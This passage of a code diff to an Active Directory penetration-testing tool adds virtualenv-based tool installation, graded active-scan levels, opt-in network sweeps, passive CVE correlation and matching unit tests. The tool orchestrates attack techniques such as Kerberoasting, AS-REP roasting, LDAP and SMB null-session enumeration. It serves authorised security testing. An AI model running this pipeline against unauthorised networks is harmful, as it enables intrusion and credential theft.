bin_dir / ("python.exe" if platform.system() == "Windows" else "python") + + def bootstrap_environment() -> dict[str, Any]: print("[VERBOSE] [bootstrap_environment] Provisioning operational runtime environment pathing...", file=sys.stderr, flush=True) system = platform.system() @@ -8174,12 +8780,14 @@ def bootstrap_environment() -> dict[str, Any]: Path("C:\\Program Files\\OpenSSL\\bin"), Path("C:\\Windows\\System32"), Path("C:\\Windows"), + managed_tool_venv_bin_dir(), ] else: paths = [ home / ".local" / "bin", home / ".local" / "share" / "bin", home / "go" / "bin", + managed_tool_venv_bin_dir(), Path("/usr/local/bin"), Path("/usr/bin"), Path("/sbin"), @@ -8289,6 +8897,23 @@ def run_command( return False, str(exc) +def ensure_managed_tool_venv() -> tuple[bool, Path, str]: + venv_python = managed_tool_venv_python() + if venv_python.is_file(): + bootstrap_environment() + return True, venv_python, "managed tool venv already exists" + + venv_dir = managed_tool_venv_dir() + venv_dir.parent.mkdir(parents=True, exist_ok=True) + command = [sys.executable, "-m", "venv", str(venv_dir)] + ok, output = run_command(command, timeout=300) + bootstrap_environment() + if not ok or not venv_python.is_file(): + GLOBAL_PROFILER.record_error(f"Managed tool venv creation failed: {output[:300]}") + return False, venv_python, output + return True, venv_python, output + + # ============================================================================ # AUTOMATED TOOL INSTALLATION & PROVISIONING # ============================================================================ @@ -8381,11 +9006,7 @@ def install_enum4linux_ng() -> dict[str, Any]: } git = shutil.which("git") - python = ( - shutil.which("python3") - or shutil.which("python") - or sys.executable - ) + python = sys.executable if not git: GLOBAL_PROFILER.record_error("Git utility missing; cannot clone enum4linux-ng repository") @@ -8446,11 +9067,31 @@ def install_enum4linux_ng() -> dict[str, Any]: if requirements.is_file(): print(f"[VERBOSE] [install_enum4linux_ng] Installing repository python package requirements...", file=sys.stderr, flush=True) + enum_venv = repo_dir / ".venv" + venv_python = enum_venv / ("Scripts" if platform.system() == "Windows" else "bin") / ("python.exe" if platform.system() == "Windows" else "python") + if not venv_python.is_file(): + ok_venv, venv_output = run_command([sys.executable, "-m", "venv", str(enum_venv)], timeout=300) + requirements_output += venv_output + if not ok_venv: + GLOBAL_PROFILER.record_error("Virtualenv creation failed for enum4linux-ng") + return { + "tool": "enum4linux_ng", + "success": False, + "verified": False, + "method": "venv-create-failed", + "command": [sys.executable, "-m", "venv", str(enum_venv)], + "executable": str(script.resolve()), + "repository": str(repo_dir.resolve()), + "output": requirements_output[-4000:], + } + python = str(venv_python) install_requirements = [ python, "-m", "pip", "install", + "--upgrade", + "--quiet", "-r", str(requirements), ] @@ -8508,7 +9149,7 @@ def install_pip_tool(tool: str) -> dict[str, Any]: GLOBAL_PROFILER.record_error(f"No package mapping for {tool} in PIP_PACKAGES") return {"tool": tool, "success": False, "verified": False, "method": "no-package-mapping", "executable": None} - python = shutil.which("python3") or shutil.which("python") or sys.executable + python = sys.executable print(f"[VERBOSE] [install_pip_tool] Using Python: {python}", file=sys.stderr, flush=True) print(f"[VERBOSE] [install_pip_tool] Installing packages: {packages}", file=sys.stderr, flush=True) @@ -8518,6 +9159,16 @@ def install_pip_tool(tool: str) -> dict[str, Any]: ok, output = run_command(install_cmd, timeout=600) # 10 minute timeout for pip + if not ok and "externally-managed-environment" in output.lower(): + print("[VERBOSE] [install_pip_tool] System Python is externally managed; retrying in managed tool venv", file=sys.stderr, flush=True) + venv_ok, venv_python, venv_output = ensure_managed_tool_venv() + output = (output + "\n" + venv_output)[-4000:] + if venv_ok: + python = str(venv_python) + install_cmd = [python, "-m", "pip", "install", "--upgrade", "--quiet", *packages] + ok, retry_output = run_command(install_cmd, timeout=600) + output = (output + "\n" + retry_output)[-4000:] + # If build fails (e.g., impacket aardwolf), try without build isolation if not ok and "aardwolf" in output.lower(): print(f"[VERBOSE] [install_pip_tool] Build failed with aardwolf, retrying without build isolation", file=sys.stderr, flush=True) @@ -8685,7 +9336,7 @@ def install_git_tool( # Install from cloned directory print(f"[VERBOSE] [install_git_tool] Installing from {clone_dir}", file=sys.stderr, flush=True) - python = shutil.which("python3") or shutil.which("python") or sys.executable + python = sys.executable # Change to clone directory and run install original_cwd = Path.cwd() @@ -8696,6 +9347,15 @@ def install_git_tool( ok_install, install_output = run_command(full_install_cmd, timeout=600) + if not ok_install and "externally-managed-environment" in install_output.lower(): + venv_ok, venv_python, venv_output = ensure_managed_tool_venv() + install_output = (install_output + "\n" + venv_output)[-4000:] + if venv_ok: + python = str(venv_python) + full_install_cmd = [python, "-m", "pip", "install", "-e", "."] + ok_install, retry_output = run_command(full_install_cmd, timeout=600) + install_output = (install_output + "\n" + retry_output)[-4000:] + os.chdir(original_cwd) if not ok_install: @@ -10191,8 +10851,15 @@ def run( dns_timeout: float = 3.0, pentest_technique: str | None = None, pentest_workers: int = 32, + active_search: str = "careful", + scan_derived_networks: bool = False, + passive_cve_enabled: bool = True, + passive_cve_limit: int = PASSIVE_CVE_DEFAULT_LIMIT, + passive_cve_corpus: str | None = None, ) -> dict[str, Any]: print(f"[VERBOSE] [run] Initializing comprehensive Active Directory diagnostic pipeline for target: '{target}'", file=sys.stderr, flush=True) + if active_search not in {"off", "careful", "full"}: + raise ValueError("active_search must be 'off', 'careful', or 'full'") import uuid as _uuid run_id = f"run-{_uuid.uuid4().hex[:12]}-{datetime.utcnow().strftime('%Y%m%d%H%M%S')}" @@ -10248,10 +10915,17 @@ def run( initial_tools = discover_tools() install_results = [] + auto_install_candidates = ( + set() + if active_search == "off" + else CAREFUL_ACTIVE_TOOLS + if active_search == "careful" + else AD_TOOLS + ) - if auto_install: + if auto_install and mode == "active": for tool in initial_tools["unavailable"]: - if tool not in AUTO_INSTALL_TOOLS: + if tool not in AUTO_INSTALL_TOOLS or tool not in auto_install_candidates: continue print( @@ -10299,12 +10973,17 @@ def run( # ------------------------------------------------------------------------ print("[HEXSTRIKE] DC-DETECT: Starting automatic Domain Controller detection...", file=sys.stderr, flush=True) + network_scan_enabled = ( + mode == "active" + and active_search == "full" + and scan_derived_networks + ) dcs, detected_domain = auto_detect_dcs( target=target, resolved_ips=resolution["resolved_ipv4"], networks=resolution["derived_networks"], - do_network_scan=(mode == "active"), + do_network_scan=network_scan_enabled, timeout=min(timeout, 10), ) @@ -10386,7 +11065,7 @@ def run( live_hosts: set[str] = set() discovery_results = [] - if mode == "active": + if network_scan_enabled: for network in resolution["derived_networks"]: print( f"[HEXSTRIKE] " @@ -10474,6 +11153,31 @@ def run( else: print(f"[HEXSTRIKE] TARGETING: No DCs detected, executing tools against all {len(targets_for_tools)} live host(s) (parallel)", file=sys.stderr, flush=True) + active_service_report = { + "status": "skipped", + "mode": active_search, + "observations": [], + } + if mode == "active" and active_search in {"careful", "full"}: + print("[HEXSTRIKE] ACTIVE-SERVICE: Running careful service evidence search...", file=sys.stderr, flush=True) + active_service_report = active_service_search( + hosts=targets_for_tools, + timeout=min(2.0, max(0.5, dns_timeout)), + workers=8 if active_search == "careful" else 16, + ) + print( + f"[HEXSTRIKE] ACTIVE-SERVICE: {len(active_service_report.get('observations', []))} open service observation(s)", + file=sys.stderr, + flush=True, + ) + + if active_search == "off": + selected_tools: list[str] = [] + elif active_search == "careful": + selected_tools = sorted(set(final_tools["available"]) & CAREFUL_ACTIVE_TOOLS) + else: + selected_tools = sorted(final_tools["available"]) + # Prepare tool execution tasks for parallel processing from concurrent.futures import ThreadPoolExecutor, as_completed @@ -10481,9 +11185,7 @@ def run( for host in targets_for_tools: is_dc = host in dc_ips host_fqdn = dc_fqdn_by_ip.get(host) or fqdn_by_ip.get(host) - for tool in sorted(AD_TOOLS): - if tool not in final_tools["available"]: - continue + for tool in selected_tools: # Skip Kerberos tools if no DC detected if tool in {"GetUserSPNs", "AS_REP_roast", "kerberoast"} and not dc_ips: continue @@ -10573,6 +11275,45 @@ def run( except (json.JSONDecodeError, ValueError): pass + passive_cve_report = { + "status": "disabled" if not passive_cve_enabled else "skipped", + "mode": "passive-correlation", + "corpus_loaded": 0, + "possible_count": 0, + "matches": [], + } + if passive_cve_enabled: + passive_cve_report = passive_cve_scan( + tool_results=results, + active_observations=active_service_report.get("observations", []), + corpus_path=passive_cve_corpus, + limit=passive_cve_limit, + ) + try: + passive_json = json.dumps(passive_cve_report, ensure_ascii=False) + db.add_tool_result( + run_id=run_id, + tool="passive_cve_scan", + host=target, + status=passive_cve_report["status"], + output=passive_json[:10000], + ) + for match in passive_cve_report.get("matches", []): + db.add_cve_finding( + run_id=run_id, + cve_id=match.get("cve", "possible-cve"), + target=match.get("target", target), + vulnerable=False, + cvss=match.get("cvss"), + severity=match.get("severity"), + impact=f"Possible passive match ({match.get('confidence', 'low')} confidence)", + details_json=json.dumps(match, ensure_ascii=False)[:20000], + ) + except Exception as db_exc: + print(f"[VERBOSE] [run] Passive CVE DB storage error: {db_exc}", file=sys.stderr, flush=True) + + cves_checked += int(passive_cve_report.get("corpus_loaded", 0) or 0) + completed_count = sum(1 for r in results if r["status"] == "completed") failed_count = sum(1 for r in results if r["status"] in {"failed", "timeout", "execution-error"}) @@ -10612,7 +11353,10 @@ def run( "networks": discovery_results, "live_hosts": live_host_list, "live_host_count": len(live_host_list), + "scan_derived_networks": scan_derived_networks, + "network_scan_enabled": network_scan_enabled, }, + "active_service_search": active_service_report, "dns": { "records": dns_records, "by_ip": fqdn_by_ip, @@ -10622,9 +11366,14 @@ def run( "final": final_tools, "auto_install": { "enabled": auto_install, + "active_only": True, + "candidate_count": len(auto_install_candidates), "results": install_results, }, + "selected_for_execution": selected_tools, + "active_search": active_search, }, + "passive_cve_scan": passive_cve_report, "execution": { "results": results, "result_count": len(results), @@ -10836,6 +11585,39 @@ def build_parser() -> argparse.ArgumentParser: action="store_true", ) + parser.add_argument( + "--active-search", + choices=["off", "careful", "full"], + default="careful", + help="Active search level for service/CVE evidence. 'careful' limits probing to resolved targets; 'full' enables broader tool coverage.", + ) + + parser.add_argument( + "--scan-derived-networks", + action="store_true", + help="Allow active /24 derived-network sweeps. Disabled by default for safer scans of public domains.", + ) + + parser.add_argument( + "--no-passive-cve", + action="store_true", + help="Disable passive possible-CVE correlation.", + ) + + parser.add_argument( + "--passive-cve-limit", + type=int, + default=PASSIVE_CVE_DEFAULT_LIMIT, + help="Maximum CVE records to load for passive correlation (default: 10000).", + ) + + parser.add_argument( + "--passive-cve-corpus", + type=str, + default=None, + help="Optional local NVD/simple JSON or JSONL corpus for passive CVE correlation.", + ) + parser.add_argument( "--dns-server", type=str, @@ -10968,17 +11750,18 @@ def main() -> int: print("[-] VPN connection failed. Aborting.", file=sys.stderr, flush=True) return 1 - try: - target_ip = socket.gethostbyname(args.target) - print(f"[*] Resolved {args.target} to IP: {target_ip}", file=sys.stderr, flush=True) - open_ports = check_ports(target_ip) - if 389 in open_ports or 636 in open_ports: - unauthenticated_ldap_enum(target_ip) - else: - print("\n[-] LDAP ports are closed or filtered. Cannot perform unauthenticated directory queries.", file=sys.stderr, flush=True) - except socket.gaierror as gai_exc: - print(f"[-] Could not resolve target {args.target}: {gai_exc}", file=sys.stderr, flush=True) - return 1 + if args.mode == "active" and args.active_search != "off": + try: + target_ip = socket.gethostbyname(args.target) + print(f"[*] Resolved {args.target} to IP: {target_ip}", file=sys.stderr, flush=True) + open_ports = check_ports(target_ip) + if 389 in open_ports or 636 in open_ports: + unauthenticated_ldap_enum(target_ip) + else: + print("\n[-] LDAP ports are closed or filtered. Cannot perform unauthenticated directory queries.", file=sys.stderr, flush=True) + except socket.gaierror as gai_exc: + print(f"[-] Could not resolve target {args.target}: {gai_exc}", file=sys.stderr, flush=True) + return 1 try: dns_servers = None @@ -10997,6 +11780,11 @@ def main() -> int: dns_timeout=args.dns_timeout, pentest_technique=args.pentest_technique, pentest_workers=args.pentest_workers, + active_search=args.active_search, + scan_derived_networks=args.scan_derived_networks, + passive_cve_enabled=not args.no_passive_cve, + passive_cve_limit=args.passive_cve_limit, + passive_cve_corpus=args.passive_cve_corpus, ) print( @@ -11566,6 +12354,10 @@ def extract_with_fallback(self): "enumerate_smb_shares", "check_smb_null_session", "detect_smb_signing", + "load_passive_cve_corpus", + "passive_cve_scan", + "build_passive_service_inventory", + "active_service_search", "run", "main", ] diff --git a/tests/test_onefile.py b/tests/test_onefile.py index be798d9..1a41b4c 100644 --- a/tests/test_onefile.py +++ b/tests/test_onefile.py @@ -44,6 +44,12 @@ def test_imported_onefile_matches_package_exports(self) -> None: self.assertIn("main", module.__all__) self.assertIn("find_de_novo", module.__all__) self.assertIn("get_extended_cves", module.__all__) + self.assertIn("passive_cve_scan", module.__all__) + + def test_package_console_entrypoint_is_exported(self) -> None: + import adpentest + + self.assertTrue(callable(adpentest.main)) def test_cli_help_runs_from_copied_file_only(self) -> None: with tempfile.TemporaryDirectory() as tmpdir: @@ -119,6 +125,111 @@ def test_build_ad_command_rewrites_embedded_python_tools(self) -> None: self.assertIn("_adpentest_onefile_child", command[2]) compile(command[2], f"<{tool}>", "exec") + def test_windows_enumerate_accepts_domain_argument(self) -> None: + import adpentest.core as core + + enum = core.WindowsEnumerate("127.0.0.1", domain="example.local") + self.assertEqual(enum.domain, "example.local") + self.assertEqual(enum.results["domain"], "example.local") + + def test_passive_cve_scan_matches_external_corpus_evidence(self) -> None: + import adpentest.core as core + + with tempfile.TemporaryDirectory() as tmpdir: + corpus = Path(tmpdir) / "nvd.json" + corpus.write_text(json.dumps({ + "vulnerabilities": [ + { + "cve": { + "id": "CVE-2099-12345", + "descriptions": [ + { + "lang": "en", + "value": "Apache HTTP Server passive test vulnerability", + } + ], + }, + "metrics": { + "cvssMetricV31": [ + {"cvssData": {"baseScore": 9.8}} + ] + }, + "configurations": { + "nodes": [ + { + "cpeMatch": [ + { + "criteria": "cpe:2.3:a:apache:http_server:2.4.49:*:*:*:*:*:*:*", + } + ] + } + ] + }, + } + ] + }), encoding="utf-8") + report = core.passive_cve_scan( + tool_results=[ + { + "tool": "nmap_scan", + "target": "203.0.113.10", + "stdout": "PORT STATE SERVICE VERSION\n80/tcp open http Apache httpd 2.4.49\n", + } + ], + corpus_path=str(corpus), + limit=10000, + ) + + self.assertEqual(report["status"], "completed") + self.assertGreaterEqual(report["corpus_loaded"], 1) + self.assertIn("CVE-2099-12345", {item["cve"] for item in report["matches"]}) + self.assertTrue(all(item["status"] == "possible" for item in report["matches"])) + + def test_careful_active_search_does_not_sweep_derived_networks(self) -> None: + import adpentest.core as core + + class FakeDB: + db_path = Path("/tmp/adpentest-test.db") + + def start_run(self, *args, **kwargs): + return None + + def add_tool_result(self, *args, **kwargs): + return None + + def add_cve_finding(self, *args, **kwargs): + return None + + def finish_run(self, *args, **kwargs): + return None + + def close(self): + return None + + with mock.patch.object(core, "get_scan_db", return_value=FakeDB()): + with mock.patch.object(core, "bootstrap_environment", return_value={"platform": "Linux"}): + with mock.patch.object(core, "resolve_ipv4", return_value=["203.0.113.10"]): + with mock.patch.object(core, "discover_tools", return_value={"available": [], "unavailable": []}): + with mock.patch.object(core, "auto_detect_dcs", return_value=([], None)) as detect_dcs: + with mock.patch.object(core, "discover_subnets_via_dns", return_value=[]): + with mock.patch.object(core, "discover_hosts", return_value={"live_hosts": []}) as discover_hosts: + with mock.patch.object(core, "reverse_dns", return_value={"ip": "203.0.113.10", "fqdn": None, "status": "no-ptr"}): + with mock.patch.object(core, "parse_arp_table", return_value=[]): + with mock.patch.object(core, "active_service_search", return_value={"status": "completed", "observations": []}): + with mock.patch.object(core, "passive_cve_scan", return_value={"status": "completed", "corpus_loaded": 10000, "possible_count": 0, "matches": []}): + result = core.run( + "example.com", + mode="active", + confirmed=True, + auto_install=False, + active_search="careful", + scan_derived_networks=False, + ) + + self.assertFalse(result["network_discovery"]["network_scan_enabled"]) + discover_hosts.assert_not_called() + self.assertFalse(detect_dcs.call_args.kwargs["do_network_scan"]) + def test_de_novo_python_fallback_is_read_only_and_correlates_ports(self) -> None: import adpentest.de_novo as package_de_novo